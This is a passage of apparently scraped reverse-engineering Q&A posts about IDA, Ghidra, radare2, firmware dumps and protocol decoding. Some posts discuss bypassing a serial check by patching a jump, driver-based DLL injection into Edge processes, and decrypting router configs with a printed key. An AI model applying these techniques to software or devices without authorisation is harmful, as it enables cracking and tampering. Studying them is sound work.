+12: tk                  0x00500000  0x04e00000  0
+13: tk2                 0x00500000  0x05300000  0
+14: customize           0x00080000  0x05800000  0
+15: log                 0x00280000  0x05880000  0
+16: update              0x02000000  0x05b00000  0
+
+active partition: nand0,0 - (u-boot) 0x00080000 @ 0x00000000
+
+defaults:
+mtdids  : nand0=gdm7243
+mtdparts: mtdparts=gdm7243:512k(u-boot),512k(env),1m(rev0),1m(ltenv),1m(wmnv),1m(cmnnv),1m(cmnnv2),4m(rev1),4m(linux),4m(linux2),30m(rootfs),30m(rootfs2),5m(tk),5m(tk2),512k(customize),2560k(log),32m(update)
+
+" +"['decompilation', 'hexrays']"," Title: Decompile large function in IDABody: I'm working on a crack me, specifically: jaunsacco's DragonCrack and the first thing I've gotten stuck on is that the program is built mostly as a enormous main function. After attempting to decompile I get the error: + +
+ Decompilation failure: + 11E1640: too big function +
+ +I've increased my max function size for decompilation to 512K (defaults at 64), the main function is approx. 400K. But this is too much processing and IDA froze for at least 5 minutes before I gave up. + +Is there an alternative approach to decompiling a large (400K) function using Hex-Rays decompiler? Maybe partial decompilation, or non-default decompiler configuration. + +IDA: Version 7.2.181105 + +Hex-Rays Decompiler: v7.0.0.170914 +" +['ida']," Title: IDA losses renaming and functions border data when debugger starts: is there any workaround?Body: I try to use IDA to debug Android application. As always, I perform static analysis first and rename registers, memory locations, jumps, etc, to make assembly code more readable. + +However, as soon as I attach IDA as debugger to device, it losses any data that I entered during static analysis; it for any reason changes functions borders (so, it reanalyzes the application after rebase, and it does it in a buggy way), and it resets any renames, so I debug code in its initial form where nothing has readable name. + +Even more, database becomes corrupted, and after I stopped the debugger, I also can not see any renames I did, and the only way to see them again is to restore database from backup. + +Does anyone know workaround for this IDA bug? For example, it is possible to force IDA not to reanalyze library during debugging and use database with existing function borders and names? +" +"['ida', 'disassembly', 'assembly', 'x86', 'ghidra']"," Title: Can Ghidra do backward symbolic execution?Body: I am searching for a tool which can do backwards symbolic execution on x86 binaries. More specifically, I would like to give the tool a program state(PC value + registers + memory content) and have it give me a set of inputs to the program that would result in that state. Can Ghidra do this? Or does anyone know if there are any other tools which can? +" +['idapython']," Title: How do you get the operand data type using idapython?Body: I know I can set the operand data type of my disassembly using functions such as OpBinary, OpOctal,OpDecimal, etc. + +Now, I'm trying to get the current operand data type of my disassembly instead. +For example: + + + +GetOpType can get the instruction operand type but not the operand data type. +Is there a function to get the operand data type instead? +" +"['decryption', 'encryption', 'python']"," Title: how can i Encrypt a decrypted zte zxhn h108n V2.5 config file?Body: i have decrypted the config file using a program i found online ( maybe made by python to exe ) + +so to decrypt using it you type is command into CMD + +
decode_zte_config.exe config.bin config.bin.xml --key ""GrWM2Hz&LTvz&f^5""
+
+ +how can i encrypt the config file after editing it to upload it to the router and disable some unwanted settings . +" +"['ida', 'malware', 'idapython']"," Title: IDAPython - Find the start of an undefined code blobBody: I'm currently working on an IDAPython script that aims to remove various rogue-byte from the malware that I'm reversing. + +I'm in a case where some portions of my code contain this type of anti-disassembly trick: + + +The fact is that without patching the rogue byte, I can't define this undefined blob as a proper function (P shortcut). + +So the script is basically doing this: + + + +As all the function having this rogue-bytes in it are undefined, I now need to define them as proper function. + +But I don't know how to go back to the address of the beginning of the undefined function. For instance, that's the result after executing my IDAPython script: + + +The rogue-byte is indeed patch, but now I just need to find the address of ""loc_410687"". + +How can I get this address within my IDAPython script? + +(I specify that not all of the function that contains the rogue-byte start by those 3 xors, that's a coincidence. So I can't look for them in order to get the start of the function.) + +Any idea? + +Thanks! +" +"['ida', 'c++', 'decryption', 'game-hacking', 'lua']"," Title: Decrypting Lua Files from gameBody: I'm truing to decrypt LUA scrpits from cocos2dx game (for wiki). + +Links to files of game: +libhellolua.so (cocos2dx external library) +example encrypted LUA-scripts (*.abc files) + +I was reading a library in IDA Pro. +This library don't have mention ""xxtea"". + +And i found function getEncyptedFileData: +pastebin getEncyptedFileData + +This function is not in the original source code of Cocos2d-x. +I think this function is related to decryption (since this function is called nearby with the variable ""*.abc""). +I can not understand the some lines in this function: + +1: I think that this function CCFileUtils:getFileData. + +
v5 = (_BYTE *)(*(int (__fastcall **)(cocos2d::CCFileUtils *, const char *, const char *, unsigned int *))(*(_DWORD *)this + 16))(this, a2, ""rb"", &v26);
+
+ +2: This loop not readeable. The result of the first line is used in this loop. + +
do
+  {
+    v6[(signed int)v17 * (signed __int64)v11 % (unsigned __int64)v14] = *(_BYTE *)(v13 + v16) ^ v15[v17];
+    ++v17;
+    v16 = (v16 + 1) % v10;
+  }
+  while ( v17 < v14 );
+
+ +3: function getEncyptedFileData return result of this line: + +
v19 = (*(int (__cdecl **)(cocos2d::CCFileUtils *, _BYTE *))(*(_DWORD *)v21 + 24))(v21, v6);
+
+" +"['binary-analysis', 'linux', 'radare2', 'binary']"," Title: Radare2 ptrace can not attachBody: First my setup: +Linux Mint 64bit 4.15.0-20-generic + +radare2 the newest version from github + +/etc/sysctl.d/10-ptrace.conf = 0 + +Executable: +ELF 64-bit LSB executable, x86-64 + +read write and executable, i can run it with gdb or execute it from terminal + +Name = crackme01 + +What ive done as root: + +i verified with + ps -ef | grep gdb + ps -ef | grep ptrace + ps -ef | grep r2 that only my single r2 is trying to attach. +then: + +1. r2 -d crackme01 + 2. doo + +The error i am getting: + +
+ ptrace (PT_ATTACH): Operation not permitted +
+ +I found other questions from people with the same problem, but none of their solutions could solve my problem. I would really appreciate it, if someone could help me. +" +"['pe', 'unpacking', 'executable']"," Title: How can I retrieve image files embedded/compressed in a MPL file?Body: There are some images hidden somewhere in a PE I have, I can't figure out how to extract them. + +This PE is from around 1997 (I think it's 32 bit) and I believe it contains some 3D model renders from the game Shadow Warrior as .PICT files. Using PE Explorer, I was able to see the section headers: [![Headers][1]][1] +However, I see no way to actually unpack the data. + +Any help would be appreciated + +EDIT3: I am now almost certain that all the images are actually stored within this file: https://www.dropbox.com/s/4rmr0e545a8vova/GW_SW.MPL?dl=0 +It's a MPL file, which usually doesn't hold images, but looking at file sizes, it seems to be the only likely candidate. + +I believe the program is supposed to extract and uncompress some audio and picture from inside this MPL, but I have no idea how to do that myself. + +The program only runs under old operating systems, so if there was a way to take the images out of memory as the program was uncompressing, I don't think I can do that here on my newer pc. However, I do have access to a few DLL files that I can extract from the START.EXE. +" +"['windows', 'dll-injection']"," Title: Microsoft Edge and it's related processes may have turned protected in windows 10 1903Body: It seems like driver based injection using APC calls fails on MicrosoftEdge and it's related processes (browser_broker.exe , MicrosoftEdgeCP.exe and MicrosoftEdge.exe). + +Looking into the problem, it looks like this application is protected process and uses the ProcessDynamicCodePolicy flag which prevents the driver from allocate new executable memory. + +Eventually, shortly after trying to inject to those processes, they all fail due to the following reason (exception 0xC0000409, STATUS_STACK_BUFFER_OVERRUN). + +
Description:
+Faulting application name: MicrosoftEdgeCP.exe, version: 11.0.15063.674, time stamp: 0x59cdf479
+Faulting module name: ntdll.dll, version: 10.0.15063.1324, time stamp: 0x28af0ac0
+Exception code: 0xc0000409
+Fault offset: 0x00000000000a9f80
+Faulting process ID: 0x1580
+Faulting application start time: 0x01d503e311af20b8
+Faulting application path: C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
+Faulting module path: C:\Windows\SYSTEM32\ntdll.dll
+Report ID: 112c6adc-0898-4441-90b6-f1a17b668af1
+Faulting package full name: Microsoft.MicrosoftEdge_40.15063.674.0_neutral__8wekyb3d8bbwe
+
+ +Does the above output hint that this is the problem I'm facing? + +Is there any way to detect from the driver that this process is protected? +" +"['c++', 'android']"," Title: What information may supply the uninitialized data to security team?Body: When I was reversing some well known Android chat applications (I can not disclose which specific ones, but all of them where owned by companies with 1 billion+ capital and have hundreds of millions of accounts), I saw an interesting feature in C++ code. + +These applications read uninitialized data and sent it to their web service. + +In pseudocode, they do the following job: + +
static constexpr const size_t uninitialized_data_size = 1024;
+auto uninitialized_data = malloc(uninitialized_data_size);
+HttpPost(""http://my-url.com"", uninitialized_data, uninitialized_data_size);
+
+ +Of course, we can think that it is just a bug... But when multiple huge companies do the same thing, I'm starting to think: why? + +Does anyone have idea what information uninitialized data can supply to security team? Is it just repeated error made by accident, or they extract some useful information from uninitialized data that they send to their server on regular basis? +" +"['decryption', 'javascript', 'websites']"," Title: Decrypt config.bin file from Huawei B5328 router. I have source filesBody: I need some help in decrypting the file config.bin generated by the page backup_setting.html from Huawei B5328 router. +I have access to all files in the router, even the www files hosted on the www folder for the router. After analyzing the page backup_setting.html and checking the JavaScript .js files, I think someone who understands the JavaScript and some coding language will be able to encrypt and decrypt the config file easily. +The reason why I'm asking is that I want to enable telnet for this router from the WebUI, and I think it can be done through JavaScript or config file restore or maybe CGI command. +Here is the link for all files including backup_setting.html and the whole +www folder is posted [here][1], you can get the .js files etc. +Thanks for helping. +
+You were correct, analyzing the file maintenance.cgi gets this : +
DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+0             0x0             ELF, 32-bit MSB executable, ARM, version 1 (SYSV)
+67144         0x10648         Unix path: /var/tmp/update_info
+68293         0x10AC5         Unix path: /var/config/ucfg_config.xml
+68975         0x10D6F         Unix path: /var/config/ucfg_config.xml
+71140         0x115E4         XML document, version: "1.0"
+71741         0x1183D         HTML document header
+71804         0x1187C         HTML document header
+78624         0x13320         XML document, version: "1.0"
+81900         0x13FEC         PEM RSA private key
+
+Now, assuming I have the decrypted config file, if I encrypt this file into config.bin file, I think it should work. +Can someone help into decrypting or encrypting the file in the correct format? Thanks. +Analyzing a piece of code of maintenace.cgi gives the encrypt and decrypt cmd used : +
 No Command [WebUpd]%s, recive file error case Parameters Abnormal.  [WebUpd]%s, Exit: %d  [WebUpd]----------------------------------------  main  write_file_form_encoded TR069_import  TR069_import  import_finish  file_check check_rsa_digest  [%02d-%02d-%02d %02d:%02d:%02d:%03ld]  ' >> /dev/console  echo '                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             [pbi] Failed to create key BIO [pbi] Failed to create RSA open file error
+  ----------------do decrypt file parse---------------
+  ----------------do encrypt file ----------------
+  %s ERROR: %s
+  Public Encrypt failed  Encrypted length =%d
+  Private Decrypt failed  Decrypted Text =%s
+ Decrypted Length =%d
+  Hello this is PBI RSA test                                                                                                                   [bpi] caculate_sha_digest
+ %02x  [bpi] get_sha_digest_in_image data_size=%d, privateKey size=%d
+ [bpi] check_sha_digest
+ caculate_sha_digest results
+  0x 
+  public_encrypt
+ image_buf_len =%d
+ [pbi] get_sha_digest_in_image fail
+ img_sha =%d
+  cal_sha =%d
+  [pbi] image SHA256 digest is wrong
+ [pbi] image SHA256 digest MATCH !!!
+  [%02d-%02d-%02d %02d:%02d:%02d:%03ld]  ' >> /dev/console  echo '                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             ;    %02hhx delitem_1 = %s
+ del_count =  %d
+  ,  00 parment of index is wrong  <%s>  Error  Invalid index number.  </%s>
+ wrong parment of del_count! [deleteNthValueMultiWithDataCheck]value:[%s],rulsCount = %d count = %d the index of content max than ruls count  the contexts are diff  11  the index is valied the contexts are diff  22  the contexts are diff  33  what about the value rec is:%s ,hashcode is :%s , and data->hashcode is:%s
+ %s ;%s [utils] i=%d,rec=%s
+  [utils] num=%d
+ [utils_FilterReplaceOperation] i=%d,num=%d
+ br0 [utils] getLanInfoList
+ /proc/net/arp  r  %19s  %hhu.%hhu.%hhu.%hhu %hhx:%hhx:%hhx:%hhx:%hhx:%hhx  0x%x  [utils] get_arp_flags arp_flags = %d
+  [utils] lan_info_count %d
+  stat_info...  
+  :  [util] getWlanMacList
+ /proc/wlan0/sta_info      hwaddr [util] get wlan MAC %s 
+  The public port "%d" is used with TCP and UDP, please use another one. The public port "%d"-"%d" is used with TCP and UDP, please use another one. The public port "%d" is used with TCP, please use another one. The public port "%d"-"%d" is used with TCP, please use another one. The public port "%d" is used with UDP, please use another one. The public port "%d"-"%d" is used with UDP, please use another one. The public port is used, please use another.  (%d)(%s)(%s)... utils.cgi.c i: %d, ignoredIdx: %d  sFromPort1: %s, sToPort1: %s, sProtocol1: %s  sFromPort: %s, sToPort: %s, sProtocol: %s  iFromPort1: %d, iToPort1: %d, Protocol1: %d TCP UDP TCP_UDP iFromPort: %d, iToPort: %d, Protocol: %d  check webs_isPublicPortUsed 1  check webs_isPublicPortUsed 2  check webs_isPublicPortUsed 3  check webs_isPublicPortUsed 4  session_stok  sess_stok  [www]cgi getSessinStok ok  RoamSetting AttachSetting  AttachManual  DeatchManual  PDNcfgSetting  DataManualConnect  SetSelectMode  SetPlmnId  SetFotaUrl JoinWps Check  DiagnosticCmd  \B2 \B2 \B2, \B2< \B2L \B2\ \B2p \B2\80 \B2\8C \B2\98 \B2\A0 \B2\A8[www]cgi_response_sess_stok ok Content-type: text/xml
+
+Also in rsa.js file public key is displayed : +
encrypt: function($data, $pubkey) {
+        if (!$pubkey) return false;
+        var bytes = ($pubkey.modulus.bitLength()+7)>>3;
+        $data = this.pkcs1pad2($data,bytes);
+        if(!$data) return false;
+        $data = $data.modPowInt($pubkey.encryptionExponent, $pubkey.modulus);
+        if(!$data) return false;
+        $data = $data.toString(16);
+        while ($data.length < bytes*2)
+            $data = '0' + $data;
+        return Base64.encode(Hex.decode($data));
+    },
+    encryptByDefaultKey: function($data, ispost){
+
+" +"['protocol', 'crc']"," Title: Checksum field within IR protocolBody: I am trying to reverse engineer the IR protocol for my air conditioner (GREE - remote control YAP1FF) and with the data I found online and a lot of testing with a IR receiver there is only one field I still cannot calculate. + +I am pasting some different messages and the field I am interested in is 8 bit long, delimited by brackets. + +The values within m1 have no influence on the field. The field only has data when I set a time for automatically power on or to power off. The times are on m2. + +
+ m2: + + +
+ +All the fields are stored in reverse bit order (little endian?) + +If the power on time is 1 to 14 minutes from current time the field is always 00010000; +from 15 to 29 minutes it's 10010000; from 30 to 44 it's 00011000. +It changes every 15 minutes so I guess the 4 first bits are not being used to calculate it. + +
m1=100100001010[00011000]011000000110010 m2=10011001101110101100000011001110
+m1=100000000110[00110010]010000000110010 m2=00101001101100000000000001000111
+m1=100000000110[10111100]010000000110010 m2=10001001101100000000000001001011
+m1=100000000110[00111100]010000000110010 m2=10010110101100000000000001000101
+m1=100000000110[10110100]010000000110010 m2=10101010101100000000000001000001
+m1=100000000110[10110100]010000000110010 m2=11001010101100000000000001000001
+m1=100000000110[10110100]010000000110010 m2=00011100101100000000000001000110
+m1=100000000110[00110100]010000000110010 m2=11101100101100000000000001000110
+m1=100000000110[00110010]010000000110010 m2=11111001101100000000000001000111
+m1=100100000010[00011000]011000000110010 m2=01111001101101011100000011001101
+m1=100000000110[00010000]010000000110010 m2=10000000000100000000000001001000
+m1=100100000010[10011000]011000000110010 m2=00001000000100110010000011001010
+m1=100000000110[10010000]010000000110010 m2=00001000000100000000000001000100
+m1=100100000010[10011000]011000000110010 m2=10010100000110100110000011001111
+m1=100000000110[00011000]010000000110010 m2=01110100000100000000000001000010
+m1=100100000010[00010100]011000000110010 m2=11100010000111000001000011000000
+m1=100000000110[10011000]010000000110010 m2=00110010000100000000000001000110
+m1=100100000010[10010100]011000000110010 m2=11000110000111111001000011000111
+m1=100100000010[00010100]011000000110010 m2=01010110000100000000000001001111
+m1=100100000010[00011100]011000000110010 m2=11000001000111111101000011001000
+m1=100100000010[10010100]011000000110010 m2=00010001000100000000000001001000
+m1=100100000010[10011100]011000000110010 m2=00010001000100100011000011000110
+m1=100000000110[00010000]010000000110010 m2=00000000000101000000000010001100
+m1=100000000110[10010000]010000000110010 m2=00000000000110001000000010000100
+
+ +If both power on and power off functions are disabled, the field will always be 00000000 +" +"['ida', 'binary', 'flirt-signatures']"," Title: IDA and flirt signaturesBody: I have 2 binaries, with the same CPU architecture. + +I made a flirt signature file - first used IDB2PAT on the first idb, and then sigmake to produce the actual signature file out of it. + +I put the produced file in the right CPU directory under IDA home. Then I opened the second binary and applied the signature file on it. + +The result is that some of the functions (~20%) are marked in blue as library functions, and actually appear in the original binary as expected, but almost none of those functions were renamed to the names from the first binary. + +Does anyone know what could be the reason? Is there another way to find the original function name from the binary that I apply the signature file on? +" +"['idapython', 'array']"," Title: How to get array size of a global variable using IDApython?Body: I can make an array using MakeArray. + +Is there a function to get the size of the array I've created? + +I've tried GetArrayId + GetLastIndex but it doesn't seem to work. +" +['radare2']," Title: How can I iterate over syscalls (as returned with `axt`) and rewrite them?Body: Let's say I want to list all calls that issue kill, + +
axt @ sym.imp.kill
+
+ +How can I now NOP out the syscall at all of the addresses given? I want to strip the program of calls to kill. +" +['radare2']," Title: How to set search scope in radare2Body: Iam wondering how to change search scope in radare2. I`ve made some research and set variables search.from and search.to, according to Radare2 Book, but it doesn't work at all! + + +Could you help me with this one? + +r2 -v radare2 3.6.0-git 22077 @ linux-x86-64 git.3.5.1-256-ga49bb7cf6 +" +"['binary-analysis', 'jtag', 'firmware-analysis']"," Title: JTAG Dumped Flash is scrambledBody: I dumped the flash memory of an old ARM9 Chip running VxWorks using the SEGGER J-Link and the savebin command from J-Link Commander. + +Here is an example of a line of HTML stored on memory. + +
<!DOC^YPE H^MN PUNLOC ""///W?C//NTN NTOL 4.01//EN"" ""nt~p>//ww.w?.oro/^R/h~mn4/s~roc~.ntn"">
+
+ +What it should be + +
<!DOCTYPE HTML PUBLIC ""-//W3C//DTD HTML 4.01//EN"" ""http://www.w3.org/TR/html4/strict.dtd"">
+
+ +The pattern of error that I see is the last 4 bits of every other byte is replaced with different bits. + +So the two bytes CT(43 54) in DOCTYPE become C^ (43 5E). The first 2 bits of the two bytes are always correct but the last 4 are not. + +My question is, what is causing this systematic error? Is it a problem with the JTAG configuration or some ECC or something thing else completely? +" +"['debuggers', 'callstack', 'cheat-engine']"," Title: How to find function called by instantaneous event (like mouse press for exemple)Body: I'm sorry if my question isn't very clear, I have trouble phrasing it so please bear with me. +I was playing around with Cheat Engine lately and found myself in a situation where I needed to find what function(s) was/were called when a specific event was triggered (like pressing the mouse button for instance) +Because this action wasn't tied to any particluar variable, I couldn't just ""listen"" for instruction modifying memory. I couldn't just log all the function calls because it would have been impossible to spot the right one from all the other ones. + +So it got me thinking of a way of doing it : + +1) put the debugger in a 'listen' mode where it logs all the function calls while the process is running. During that time, do not trigger the event you're looking for, just let the program follow its ""normal"" flow. + +2) After a few seconds of ""calibration"", the debuger now has a list of all the functions that are normally called when the event isn't triggered. + +3) Trigger the event. Now any function call that wasn't in the initial calibration list has to be at least correlated to the event. + +I'm really new to reverse engineering and I'm pretty sure a tool like that must already exist. +So my question is simple. Does it exists ? If not, why ? Wouldn't that be useful ? Is there's an easier way that I'm missing ? + +Thanks in advance (and sorry for broken English, I haven't slept in a while and it's not my native language) +" +"['disassembly', 'decompilation']"," Title: Confusion about LEA and why it means what it does in this contextBody: I am reading Eldad Eilam's reverse engineering book and trying to follow his RtlInitializeGenericTable example. + +The first part of it is fairly straightfoward- + +
7C921A39 MOV EDI,EDI
+7C921A3B PUSH EBP
+7C921A3C MOV EBP,ESP
+7C921A3E MOV EAX,DWORD PTR SS:[EBP+8] ; eax = UnknownStruct->Member1
+7C921A41 XOR EDX,EDX
+7C921A43 LEA ECX,DWORD PTR DS:[EAX+4] ; ecx = UnknownStruct->Member2
+
+7C921A46 MOV DWORD PTR DS:[EAX],EDX   ; UnknownStruct->Member1 = 0;
+7C921A48 MOV DWORD PTR DS:[ECX+4],ECX ; UnknownStruct->Member3 = &UnknownStruct->Member2;
+7C921A4B MOV DWORD PTR DS:[ECX],ECX   ; UnkownStruct->Member2  = &UnknownStruct->Member2;
+7C921A4D MOV DWORD PTR DS:[EAX+C],ECX ; UnknownStruct->Member4 = &UnknownStruct->Member2;
+
+ +Where I get confused is in the second part: + +
7C921A50 MOV ECX,DWORD PTR SS:[EBP+C] ; ecx = UnknownStruct->Member2
+7C921A53 MOV DWORD PTR DS:[EAX+18],ECX; UnknownStruct->Member7 = UnknownStruct->Member2;
+7C921A56 MOV ECX,DWORD PTR SS:[EBP+10]; ecx = UnknownStruct->Member3
+7C921A59 MOV DWORD PTR DS:[EAX+1C],ECX; UnknownStruct->Member8 = UnknownStruct->Member3; 
+
+ +In this part, offsets to the EBP are used to access variables and set their value. However, in his decompiled-c-equivalent output, it is shown that memory addresses are not being used as the initialization value, i.e. + +
UnknownStruct->Member7 = UnknownStruct->Member2;
+
+ +whereas in the first part, they are: + +
UnknownStruct->Member3 = &UnknownStruct->Member2;
+
+ +Why is this the case? As far as I can tell both parts should be the same- the only difference between the first and second is the LEA instruction, but that should only calculate the offset to the base pointer, the same as what is done in the second part. + +Thanks. +" +"['decryption', 'encryption', 'binary', 'ios']"," Title: How does IPA decryption works?Body: All IPAs being downloaded from AppStore gets encrypted on servers as part of FairPlay DRM. But decryption is accomplished on local device. As far as I know there is some hardware module which contains all the decryption logic. Is there any info how this module works, which algorithms uses? +" +"['patching', 'patch-reversing', 'crackme']"," Title: In reverse engineering, what does it mean to ""patch a file""?Body: I've been solving some crackmes, and every file that I download, in the ""instructions"" says: ""Patching is obviously not allowed"". What does that mean? And how does one patch a file? +" +"['ida', 'executable']"," Title: Which API function is responsible for input strings?Body: I'm trying to disassemble an executable file with IDA Pro. This program basically does some calculations based on the values one writes into a text box, then displays it in another text box. To find the principle behind those calculations I need to know which function is responsible for reading the values which the user enters into the text box, then I think I can trace it further. + +What's important seems like this executable uses something like textbox.text.change event because it changes the value in output text box every time we change the value in the input text box. + +The .exe file +" +['ghidra']," Title: How to load symbols from Windows DBG fileBody: I'm having trouble getting GHIDRA to load symbols for a Microsoft EXE from an accompanying DBG file. Perhaps I'm just overlooking some obvious documentation in which case a focussed link would be much appreciated. + +Things I've tried: + +
    +
  1. Having both ""foo.exe"" and ""foo.dbg"" in the same directory and importing ""foo.exe"" and auto-analyzing it with defaults.
  2. +
  3. After importing ""foo.exe"", using ""Add to Program"" in the CodeBrowser and added ""foo.dbg"" explicitly. That suceeds with no errors, but I still can't find the symbols in the ""Symbol Tree"".
  4. +
+ +Background: + + + +In case this really is a dead end I added a related question. +" +"['ghidra', 'debugging-symbols']"," Title: GHIDRA: How to load symbols from a text (map) fileBody: I'm having trouble loading symbols for a very old Delphi-7 EXE. I posted a separate question regarding loading the DBG file symbols. Another approach would be to convert the debug symbols (available in a MAP text file) into some other text format and load it. I see references in the GHIDRA ticketing system to that sort of thing (e.g. here) but I cannot find those actions anywhere in my GHIDRA IDE. + +Guidance about where in the GUI to locate those features (and the needed file format) would be greatly appreciated. Perhaps I need to install some optional component (I just unzipped GHIDRA 9.0.4 onto my Fedora-30 system). + +Here is my related question. +" +"['memory', 'hardware']"," Title: Limited U-Boot options, any memory reading possibilities here?Body: Within this very stripped down firmware I'm looking at (hikvision camera misrepresented), this is all I have to work with. No other firmware exists, and the open-seasame command presents an encrypted challenge, so no root. + +Is there anything in this list that pokes at the ability to dump the firmware via uboot ? + +There are pads for a micro-SD card, but I haven't soldered anything up or tested / probed it with a scope. + +
The following commands are supported:
+boot    erase   help    reset
+saveenv printenv        setenv  upbs
+format  update  upfusb  upf
+updatebusb      updateb gos     go
+mii     gpio    ping
+Use help to get help on a specific command
+
+" +"['disassembly', 'ollydbg']"," Title: How to bring the message box other than error message boxBody: The program asks serial number. I've searched the API call which triggers the wrong password message box and force it into accepting an incorrect serial number in x64dbg’s string references. I found nothing usefull. So I tried to use Call Stack window in order to catch the responsible API function for input strings. I placed a breakpoint on the suspected address. I scrolled up to change the JE instructor to JNZ. When I click the OK button after I enter a serial number, the button doesn't work: + +0654C66D E8 26353D01 CALL 0791FB98 +0654C672 85C0 TEST EAX,EAX +0654C674 0F84 37010000 JE 0654C7B1 +0654C67A BE 05000000 MOV ESI,0x5 +0654C67F E9 41010000 JMP 0654C7C5 +0654C684 FF75 14 PUSH DWORD PTR SS:[EBP+0x14] +0654C687 FF75 10 PUSH DWORD PTR SS:[EBP+0x10] +0654C68A FF75 0C PUSH DWORD PTR SS:[EBP+0xC] +0654C68D FF75 08 PUSH DWORD PTR SS:[EBP+0x8] +0654C690 8B55 DC MOV EDX,DWORD PTR SS:[EBP-0x24] +0654C693 8BCB MOV ECX,EBX +0654C695 E8 B6FED7FD CALL 042CC550 ' I've placed the breakpoint here. + +Any idea would be appreciated. +" +"['ida', 'disassembly', 'idapython', 'file-format', 'python']"," Title: How to make IDA processor for file format with tree structureBody: Most of file formats IDA handles are structured in a linear way, for example EXE or ELF or Java's Class file and so on. + +However when it comes to tree-structured file format, I can't come up with a good way to properly handle them.
+For example, recently I met a obfuscated PYC file, and the code has an OLLVM-like obfuscation plus some junk bytes, so a strong disassembler like IDA is needed. The PYC file format is in fact some magic byte + python marshal data, which is easy to parse. However, the marshaled data is in tree structure. Here's an example: http://www.beesfun.com/2017/04/01/PyCodeObject%E5%92%8Copcode/
+As you can see in the parsed result, the root object is a module whose consts contain other functions in module, and the function in module can also have sub-functions in their consts. +Also dis module or pytype can be used to parse the PYC file + +Like Java's compiled file, PYC stores bytecodes and some metadata for each functions, functions call each other with name instead of address, bytecode believe the address starts from 0 in every function. So I studied the source code of module/java in idasdk73, trying to understand how the developers from HexRays cope with the Java class file format.
+Then I found Java module in IDA are making a separate segment for each method and slot area. Because the python bytecode assume address starts from 0 in every function, and in every function there's a separate const pool which is also indexed from 0, I decided to create a header segment, a code segment and a const segment. +But this same way won't work for a PYC file, as the PYC format is tree-structured (sub-functions are stored in parent const pools), and IDA does not allow overlapped segments. So I can't make the consts area a single segment.
+But if I create a segment for each const, there will be tens of thousands of segments if the original py file is big. + +Is there a better way to make a loader for the tree-structured format like PYC? +" +['radare2']," Title: Radare2 substituting second operand of lea instruction with a random registerBody: I was trying to debug a crackme with radare2. I found an interesting function which radare2 flagged as sym.xxx. The following listing is trimmed version of disassembled output of the function sym.xxx. + +
[0x7ff299821090]> pdf @sym.xxx
+/ (fcn) sym.xxx 179
+|   sym.xxx ();
+|           ; CALL XREF from main @ 0x55a340b531a8
+|           0x55a340b53297      55             push rbp
+|           0x55a340b53298      4889e5         mov rbp, rsp
+|           0x55a340b5329b      488d35b92d00.  lea rsi, obj.key3       ; 0x55a340b5605b ; ""is""
+|           0x55a340b532a2      488d3d373000.  lea rdi, [0x55a340b562e0]
+|           0x55a340b532a9      e8c2fdffff     call sym.imp.strcat     ; char *strcat(char *s1, const char *s2)
+|           0x55a340b532ae      488d052b3000.  lea rax, [0x55a340b562e0]
+|           0x55a340b532b5      48c7c1ffffff.  mov rcx, 0xffffffffffffffff
+|           0x55a340b532bc      4889c2         mov rdx, rax
+|           0x55a340b532bf      b800000000     mov eax, 0
+|           0x55a340b532c4      4889d7         mov rdi, rdx
+|           0x55a340b532c7      f2ae           repne scasb al, byte [rdi]
+...
+
+ +While stepping in through each instruction in this function, I have noticed that after executing the fourth instructon (lea rdi, [0x55a340b562e0]) the 2nd operand of lea instruction automatically substituted to a random register like rdx, r9, rdi in the disassembly of debugger window. In the screenshot below the fourth instruction got substituted to lea rdi, [rdi] by radare2. And I think it is worth mentioning that I have loaded the crackme executable 5 times in radare2, at first two times radare2 replaced the memory address operand with rdx and r9 and last 3 times with rdi. + + + +I am quite unsure of what causing this behavior.Although lea rdi, [rdi] looks self-explanatory but I don't know about rdx or r9. Why radare2 is changing memory operands in lea instruction ? + +Radare2 version : radare2 3.7.0 22507 @ linux-x86-64 git.3.7.0-38-g9ce44c7cc + +Crackme binary: https://crackmes.one/crackme/5c95646333c5d46ecd37c960 +" +"['c', 'elf', 'x86-64']"," Title: Elf x86_64 adding functionBody: I'm trying to see if I can append function code in the .text section of an ELF while still maintaining the execution flow of the original ELF. Ideally, I want to call the new function but that's it's own mountain to climb. I'm more concerned with just adding the code. Is this realistic? Or am I way over my head? I've been able to add the code by simply overwriting bytes. However, I would like to extend the .text section and insert it. If there's a better method of inserting new functionality into an ELF I'm all ears. But any guidance is helpful. +" +['obfuscation']," Title: Obfuscate JSON file that is served client-sideBody: Through some research I have found that obfuscation won't block hackers from retrieving your .json file, but I'd like to have at least a level of obfuscation that deters some people. I ran into a npm package called bson that creates binaries for a json format. Can you call this obfuscation to a degree? I am also at a dilemma because my .json files serve a WebGL gaming engine via iframe. + +Unity developers obfuscates most of their code via third-party obfuscation tools in the Unity Asset store. It is than rendered into WebGL. I was wondering if some similar tools that helps me achieve obfuscation of .json this through webGL frameworks like babylon.js and three.js + +My main goal is just to obfuscate when a user inspects the incoming .json file in the network tab. +" +"['debugging', 'static-analysis', 'dynamic-analysis', 'ghidra']"," Title: How do I find the address of a data location at runtime?Body: I'm using ghidra and cheat engine to reverse engineer a game's function. In ghidra's decompiler this function references two locations known as _DAT_XXX. I know the addresses of these locations in the binary. + +But how do I find the addresses of the locations when the process is running? + + + +
  if (_DAT_00dd5c44 <= DAT_00dd5c3c) {
+    return 0;
+  }
+
+" +"['hardware', 'encodings']"," Title: How to wire up a rotary encoder with a ""0v"" connection?Body: I have a servo motor with rotary encoder salvaged from an old scanner. I'm trying to figure out how to re-use it in a DIY CNC machine. + +By reading through the engineering manual from the original device (Hooray for uncle Google!) I have established that the servo was run on PWM'ed 24.5v DC and the encoder was run on 5v DC. The power supplies were on the same board, but the voltages were generating from separate transformers. (I am in NZ, so it is 230v 50Hz mains here.) Regretfully I do not have the original mainboard/motherboard so I cannot trace any circuits that the encoder once ran to. + +The wiring is run from a parallel port connector up to the motor and the encoder - but the servo lines and the encoder lines are run in separate, independently 'screened' cables inside the outer cable liner. So it's two bundles, each with a metal woven tube around them and plastic over that, traveling inside the same larger diameter plastic outer sheath.They emerge from the outer sheath about 200mm from the servo and encoder and finish the distance as independent cables. + +Aside from figuring out a drive for the servo, I have to figure out how to read the encoder. I sort of understand the basics of how it works, with +/- A and +/- B and +/- 